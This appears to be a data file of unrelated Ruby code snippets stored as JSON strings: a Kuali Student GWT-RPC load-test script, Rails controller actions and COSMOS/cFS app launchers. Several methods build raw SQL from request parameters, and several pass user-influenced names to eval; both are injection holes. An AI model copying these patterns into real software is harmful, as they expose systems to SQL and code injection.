\"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|5BE133251BBD52A0E2D3AED463070079|org.kuali.student.lum.common.client.widgets.CluSetManagementRpcService|getCluSetInformation|java.lang.String/2004016611|6f7421b8-2fe6-4b42-90c8-cbe29dc503be|1|2|3|4|1|5|6|\"\n }\n )\n @request.add_thinktime(15)\n\n end",
"def current_qc_inspection\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_inspection_id.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n @qc_inspection = QcInspection.find(qc_current_inspection.qc_inspection_id)\n params[:id_value] = @qc_inspection.qc_inspection_type.qc_inspection_type_code\n params[:id] = @qc_inspection.id\n edit_qc_inspection\n end\n end",
"def get_program_def(name:)\n PROGRAMS[name]\n end",
"def program_params\n params[:program]\n end",
"def program\n ::HubEdos::Common::Reference::Descriptor.new(@data['program']) if @data['program']\n end",
"def calc_program_name project_symbol\n camel_to_snake_case(project_symbol).downcase\n end",
"def current_qc_business_context_search\n return if authorise_for_web(program_name(params[:id]),'create')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet captured an inspection for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_business_context_query\n session[:columns_list] = YAML.load(qc_current_inspection.columns_list)\n submit_business_context_search\n end\n end",
"def show\n @program_classification = ProgramClassification.find params[:id]\n end",
"def get_app_type(app_name)\n app_type = eval(\"get_#{app_name.downcase.gsub(/ |-/,'_')}_app_type()\")\n return app_type\nend",
"def program(id)\n get(\"/catalog/titles/programs/#{id.to_s}\")\n end",
"def chooseQueryName\n @metadata.chooseQueryName\n end",
"def program_params\n params.require(:program).permit(:name, :category, :url, :description, :location)\n end",
"def current_qc_tests\n return if authorise_for_web(program_name(params[:id]),'edit')== false\n session[:qc_inspection_type_code] = params[:id]\n qc_current_inspection = ActiveRecord::Base.connection.select_one(\"select * from qc_current_inspections\n where user_id = #{session[:user_id].id}\n and qc_inspection_type_code = '#{params[:id]}'\")\n if qc_current_inspection.nil? || qc_current_inspection.qc_business_context_query.nil?\n redirect_to_index(\"'You have not yet listed tests for #{params[:id]}'\", \"''\")\n else\n dm_session[:search_engine_query_definition] = qc_current_inspection.qc_tests_query\n session[:columns_list] = YAML.load(qc_current_inspection.tests_columns_list)\n submit_tests_search\n end\n end",
"def name\n if app_name = @args[:props][\"application_name\"].to_s.strip and !app_name.empty?\n return app_name\n else\n raise \"Could not figure out the input-name.\"\n end\n end",
"def cfs_kit_launch_app(screen, app)\n\n\n if (app == \"UPDATE_TUTORIAL\")\n # An exception will report any errors \n if cfs_kit_create_tutorial_screen\n prompt (\"Successfuly created tutorial screen file #{tutorial_scr_file}\\nusing #{tutorial_def_file}\")\n end\n elsif (app == \"PROTO_APPP\")\n #TODO - Investigate generic text table editor or tutorial screen\n\t Cosmos.run_process(\"ruby lib/OskCfeFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/cfs_kit/file_server/cfe_es_syslog.dat'\")\n\t #Cosmos.run_process(\"ruby lib/OskTxtFileViewer -f '/mnt/hgfs/OpenSatKit/cosmos/test.json'\")\n #require 'osk_tbl_editor'\n #Cosmos.run_process(\"ruby lib/OskTblEditor\")\n\t #require 'cfs_fcx_cmdgen'\n #Cosmos.run_process(\"ruby lib/CfsFcxCmdGen\")\n #Cosmos.run_process(\"ruby tools/ConfigEditor\")\n #Cosmos::OskTblEditor.run\n #Cosmos.run_cosmos_tool('ConfigEditor')\n\n elsif (app == \"TUTORIAL\")\n cfs_kit_launch_tutorial_screen\n end\n\nend",
"def programs\n @organization = Organization.find(params[:id])\n end",
"def program_name(name=nil)\n if name\n @@program_name = name\n end\n @@program_name\n end",
"def fetch_app(name)\r\n return name if SAMPLES[name].nil?\r\n \"#{name}/#{SAMPLES[name]}\"\r\n end",
"def auto_complete_for_reason_code_unique_code\n if params[:reason_code]\n adjustment_reason = params[:reason_code].keys[0]\n if adjustment_reason\n code = params[:reason_code][adjustment_reason][:unique_code]\n if code.present?\n auto_complete_for_unique_code(code.strip)\n end\n end\n end\n end",
"def program_name\n @program_name || File.basename($0, '.*')\n end",
"def set_program\n @program = ::Education::Program.find(params[:id])\n end",
"def pickup_location_name(code)\n if Settings.ils.client == 'FolioClient'\n Folio::ServicePoint.name_by_code(code) || code\n else\n Mylibrary::Application.config.library_map[code] || code\n end\n end",
"def category_program_params\n params.require(:category_program).permit(:code, :descrip)\n end",
"def find(type, course_code, course_name, opts={})\n \n defaults = {\n :nav_homepage => true,\n :find_person => '%%_username%%', #user is the dynvar from users.csv\n :course_description => '',\n :course_number => '',\n :course_name_dyn_var => 'course_name_dyn_var',\n :course_name_var_regexp => '\\\"\\([^\\\"]+\\)\\\"\\,\\\"[^\\\"]+\\\"\\,\\\"' + course_name + '\\\"'\n#NOTE: The previous regexp returns the text of the word that is 2 words behind the coures name in the comma delimitted http response. NOTE: The quotation marks surrounding the text are stripped. \n# This word is then included in 2 HTTP Requests that are sent later.\n }\n\n opts = defaults.merge(opts)\n \n # Navigate to Curriculum Mgmt\n self.homepage() unless(!opts[:nav_homepage])\n \n @request.add_thinktime(3)\n\n # Enter Course Code BSCI and click Search\n # Search Criteria\n if(type == \"proposal\")\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|13|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|648421FAE6C751B6B3D6A2EC5262F586|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.core.search.dto.SearchRequest|org.kuali.student.core.search.dto.SearchRequest/3917446114|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.core.search.dto.SearchParam/3876231949|proposal.queryParam.proposalOptionalName|#{course_code}|proposal.search.generic|proposal.resultColumn.proposalOptionalName|1|2|3|4|1|5|6|0|7|0|8|1|9|10|0|11|12|13|0|0|\"\n }\n )\n elsif(type == \"course\")\n # Only searching by title/name\n if(course_code.empty?)\n contents = \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Approved|Active|Retired|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|2|9|10|0|11|9|12|8|3|13|14|13|15|13|16|0|17|18|0|6|0|\"\n else\n contents = \"5|0|20|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|search|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.lang.Integer/3438268394|java.lang.Boolean/476441737|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lu.queryParam.luOptionalCode|#{course_code}|lu.queryParam.luOptionalType|kuali.lu.type.CreditCourse|lu.queryParam.luOptionalState|java.lang.String/2004016611|Approved|Active|Retired|lu.search.mostCurrent.union|lu.resultColumn.luOptionalCode|1|2|3|4|1|5|5|6|10|7|0|8|3|9|10|0|11|9|12|0|13|9|14|8|3|15|16|15|17|15|18|0|19|20|0|6|0|\"\n end\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => contents\n },\n {\n :dyn_variables => [\n {\"name\" => opts[:course_name_dyn_var], \"re\" => opts[:course_name_var_regexp]}\n ]\n }\n )\n\n @request.add_thinktime(3)\n \n # Click on Name=Insects - Code=BSCI 120 and click Select\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getMetadata|java.lang.String/2004016611|java.util.Map||1|2|3|4|2|5|6|7|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|11|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|enumeration.queryParam.enumerationType|kuali.lu.campusLocation|enumeration.management.search|enumeration.resultColumn.sortKey|1|2|3|4|1|5|5|0|0|6|1|7|8|0|9|10|11|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|atp.search.atpSeasonTypes|atp.resultColumn.atpSeasonTypeName|1|2|3|4|1|5|5|0|0|6|0|7|8|0|0|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n # DUPE \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SearchRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|18|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|DB85114A8D2B33860498043707FB831D|org.kuali.student.common.ui.client.service.SearchRpcService|cachingSearch|org.kuali.student.common.search.dto.SearchRequest/2597477947|java.util.ArrayList/3821976829|org.kuali.student.common.search.dto.SearchParam/1222427352|lrc.queryParam.resultComponent.type|kuali.resultComponentType.grade.finalGrade|lrc.queryParam.resultComponent.idRestrictionList|java.lang.String/2004016611|kuali.resultComponent.grade.letter|kuali.resultComponent.grade.passFail|kuali.resultComponent.grade.satisfactory|kuali.resultComponent.grade.completedNotation|kuali.resultComponent.grade.percentage|lrc.search.resultComponent|lrc.resultColumn.resultComponent.id|1|2|3|4|1|5|5|0|0|6|2|7|8|0|9|7|10|6|5|11|12|11|13|11|14|11|15|11|16|0|17|18|0|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getData|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|1|2|3|4|1|5|6|\"\n },{'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|isLatestVersion|java.lang.String/2004016611|java.lang.Long/4227064769|a359cb8b-508d-41e2-a32b-64a50456e8be|1|2|3|4|2|5|6|7|6|1|0|\"\n }\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/statementRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|6|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|335FF062A700107AB2A642B325C6C5C5|org.kuali.student.lum.program.client.rpc.StatementRpcService|getStatementTypesForStatementTypeForCourse|java.lang.String/2004016611|kuali.statement.type.course|1|2|3|4|1|5|6|\"\n }\n )\n \n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/SecurityRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|7|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|13BFCB3640903B473D12816447D1469D|org.kuali.student.common.ui.client.service.SecurityRpcService|checkAdminPermission|java.lang.String/2004016611|#{opts[:find_person]}|cluModifyItem|1|2|3|4|2|5|5|6|7|\"\n }, {'subst' => 'true'}\n )\n\n @request.add('/org.kuali.student.lum.lu.ui.main.LUMMain/rpcservices/CourseRpcService',\n {\n 'method' => 'POST',\n 'content_type' => 'text/x-gwt-rpc; charset=utf-8',\n 'contents' => \"5|0|8|#{@request.url}/org.kuali.student.lum.lu.ui.main.LUMMain/|3C9BBAD14113E13A72476EEE8100687B|org.kuali.student.lum.lu.ui.course.client.service.CourseRpcService|getCourseStatements|java.lang.String/2004016611|%%_#{opts[:course_name_dyn_var]}%%|KUALI.RULE|en|1|2|3|4|3|5|5|5|6|7|8|\"\n },{'subst' => 'true'}\n )\n\n @request.add_thinktime(3)\n \n #Click Detailed View tab -- NOTE: no HTTP Request is sent\n\n @request.add_thinktime(15)\n\n end\n \n end",
"def this_program\n @program\n end",
"def set_program\n @program = @current_site.programs.find(params[:id])\n end",
"def get_satellite_eyes_app_name()\n app_name = \"Satellite Eyes\"\n return app_name\nend",
"def program_name?\n\t\"diagnostics\"\n end",
"def acquirer_url(request_type)\n self.class.send(\"#{test_or_live}#{sort_request(request_type)}_url\")\n end",
"def process_name\n\n\t\t::Pantheios::Core.process_name\n\tend",
"def program_params\n params.require(:program).permit(:name, :color, :notes, :is_paid, :approval)\n end",
"def show_qa_analist\n screen_name(\"Inicial-Analista-QA\")\n\n distribute_ots\n\n respond_to do |format|\n format.html { render action: \"show_qa_analist\" }\n format.json { head :ok }\n end\n end",
"def set_program\n @program = Program.find(params[:program_id])\n end",
"def get_app_url(app_name)\n app_file = $pkg_dir+\"/\"+app_name.downcase+\".rb\"\n if File.exist?(app_file)\n app_url = eval(\"get_#{app_name.downcase.gsub(/ |-/,'_')}_app_url()\")\n else\n puts \"Application \"+app_name+\" not found\"\n end\n return app_url\nend",
"def progname; \"Dis-organizer\"; end",
"def progname; \"Dis-organizer\"; end",
"def progname; \"Dis-organizer\"; end",
"def prefecture_name\n JpPrefecture::Prefecture.find(:code => prefecture_code).try(:name)\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def setup_program_image\n image_path(image_name: params[:setup_program_image])\n end",
"def module_details module_id, module_type_string\n request_string = \n \"/wot/encyclopedia/#{module_type_string}/?application_id=#{APP_ID}&module_id=#{module_id}\"\n data = hash_from_request_string(request_string)\n return data[\"#{module_id}\"]\nend",
"def select_question_type\n set_user_input\n if @user_input == 0\n @response = Registration.question_type_selection(@screen_id)\n @session.update_attributes(question_type_id: nil, req_no: @req_no - 1)\n else\n @question_type = QuestionType.find_by_ussd_id(@user_input)\n if @question_type\n @session.update_attributes(question_type_id: @question_type.id, req_no: @req_no)\n if URI.escape(@question_type.name) == URI.escape(\"Révision scolaire\")\n @response = Registration.select_academic_level(@screen_id)\n else\n @response = Registration.confirm_registration(@session, @screen_id)\n end\n else\n @response = Error.invalid_question_type(@screen_id)\n end\n end\n end",
"def app_mgmt_launch_app(screen, app)\r\n\r\n if (app == \"Eclipse\")\r\n\t\tspawn(\"sudo #{Cosmos::USERPATH}/../eclipse/eclipse/eclipse\")\r\n elsif (app == \"AppGen\")\r\n\t\tspawn(\"java -jar #{CFS_KIT_GEN_APP_DIR}/CreateApp.jar\")\r\n elsif (app == \"APP_SUMMARY\")\r\n display(\"CFS_KIT APP_SUMMARY_SCREEN\",50,50)\r\n else\r\n prompt(\"Error in screen definition file. Undefined commmand sent to app_mgmt_launch_app()\")\r\n end\r\n\r\nend",
"def get_opera_beta_app_name()\n app_name = \"Opera Beta\"\n return app_name\nend",
"def show_request(type, name=nil, *_)\n show_item(type, name)\n end",
"def progname; \"Disorganizer\"; end",
"def re_edit_qc_inspection_test\n id = params[:id]\n if id && @qc_inspection_test = QcInspectionTest.find(id)\n @qc_inspection_type_code = @qc_inspection_test.qc_inspection.qc_inspection_type.qc_inspection_type_code\n return if authorise_for_web(program_name(@qc_inspection_type_code),'edit')== false\n\n @qc_inspection_test.set_status QcInspectionTest::STATUS_CREATED\n edit_qc_inspection_test\n end\n end",
"def index\n logger.error(\"@programs has #{@programs.count} entries\") if @programs\n basic_params = %i(function read_format platform name_cont)\n advanced_params = %i(summary_cont interface speciality write_format for_audience language display_function header_function network_function programming_function other_function author)\n qparams = params[:q] ? params[:q].permit(basic_params + advanced_params) : nil\n if qparams\n # You could use the :active and :imaging scopes in the query. Result is the same as the scopes are chained.\n # @q = Program.active.imaging.ransack(qparams)\n @q = Program.ransack(qparams.merge(active: true, imaging: true))\n @q.sorts = 'rating desc' if @q.sorts.empty?\n make_search_params(qparams)\n @programs = @q.result.includes(:languages, :platforms, :source_urls, :ratings).page(params[:page]).per(10)\n else\n @q = Program.none.ransack\n @programs = nil\n end\n end",
"def get_code_name\n code_name = $0\n code_name = Pathname.new(code_name)\n code_name = code_name.basename.to_s\n return code_name\nend",
"def get_name(code)\n return code[1]\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def set_program\n @program = Program.find(params[:id])\n end",
"def program_params\n params.require(:program).permit(:name, :slug, :price, :content)\n end",
"def get_meeting_program_name\n meeting_program ? meeting_program.get_full_name : (data_import_meeting_program ? data_import_meeting_program.get_full_name : '?')\n end",
"def app_type_requested_id\n @app_type_requested_id ||= if app_type_requested.to_i > 0\n all_user_app_type_ids.find { |app_id| app_id == app_type_requested.to_i }\n else\n Admin::AppType\n .all_available_to(current_user)\n .find { |app| app.name == app_type_requested }&.id\n end\n\n raise FphsException, \"App type requested was not found: #{app_type_requested}\" unless @app_type_requested_id\n\n @app_type_requested_id\n end",
"def update_program_params\n params.require(:program).permit(:name, :description, :url, :visible)\n end",
"def addn_provisions\n type_code = LookupTypeCode.find_by_description(ADDN_PROVISIONS)\n LookupItemCode.find_by(lookup_type_code: type_code.id) unless type_code.blank?\nend",
"def input_name_from_type(type); end",
"def program_name\n File.basename($0)\n end",
"def search_prog_id(prog_id, programName, episodeId)\n begin\n @log.debug \"Trying Program ID #{prog_id}\"\n doc = download_ais(prog_id)\n streamUri = (doc/\"//streamuri\").text\n fileType = streamUri[-3..-1]\n match_programName = (doc/\"//brandtitle\").text\n match_episodeId = (doc/\"//programmenumber\").text\n @log.debug \"found program #{match_programName} and #{match_episodeId}, type #{streamUri[-3..-1]}\"\n\n return (fileType == \"mp4\" and programName == match_programName and episodeId == match_episodeId)\n rescue\n return false\n end\n\n end",
"def program(name = (not_set = true))\n if not_set\n @properties.fetch(:program) { ::File.basename($0, \".*\") }\n else\n @properties[:program] = name\n end\n end",
"def get_app_name(app_name)\n app_file = $pkg_dir+\"/\"+app_name.downcase.gsub(/ |-/,'_')+\".rb\"\n if File.exist?(app_file)\n app_name = eval(\"get_#{app_name.downcase.gsub(/ |-/,'_')}_app_name()\")\n else\n app_list = Dir.entries($pkg_dir)\n tmp_name = app_list.grep(/^#{app_name.downcase.gsub(/ |-/,'_')}/)[0]\n if tmp_name\n tmp_name = tmp_name.gsub(/\\.rb/,\"\")\n else\n puts\n end\n if tmp_name =~ /[A-z]/\n if $verbose == 1\n puts \"Application profile \"+app_name+\" not found\"\n puts \"Found profile \"+tmp_name\n end\n app_name = eval(\"get_#{tmp_name.downcase.gsub(/ |-/,'_')}_app_name()\")\n else\n puts \"Application \"+app_name+\" not found\"\n puts\n puts \"Available Applications:\"\n puts\n print_avail_pkgs()\n puts\n exit\n end\n end\n return app_name\nend",
"def select_app file_name \n\t\tftype = file_type( file_name ).downcase\n\t\t@app_map[ ftype ]\n\tend",
"def name\n return 'XcelEDAReportingandQAQC'\n end",
"def resourceType\n 'Practitioner'\n end",
"def edit_diagnose_name\n\t\t\n\tend",
"def prefecture_name\n JpPrefecture::Prefecture.find(code: prefecture_code).try(:name)\n end",
"def auto_complete_for_reason_code_reason_code\n reason_code = params[:reason_code][:reason_code]\n auto_complete_for_reasoncode(reason_code)\n end",
"def proc_descr ( code = proc_code )\n proc = Procedure.find_by(code: code )\t \n return proc.descr rescue '' \n end",
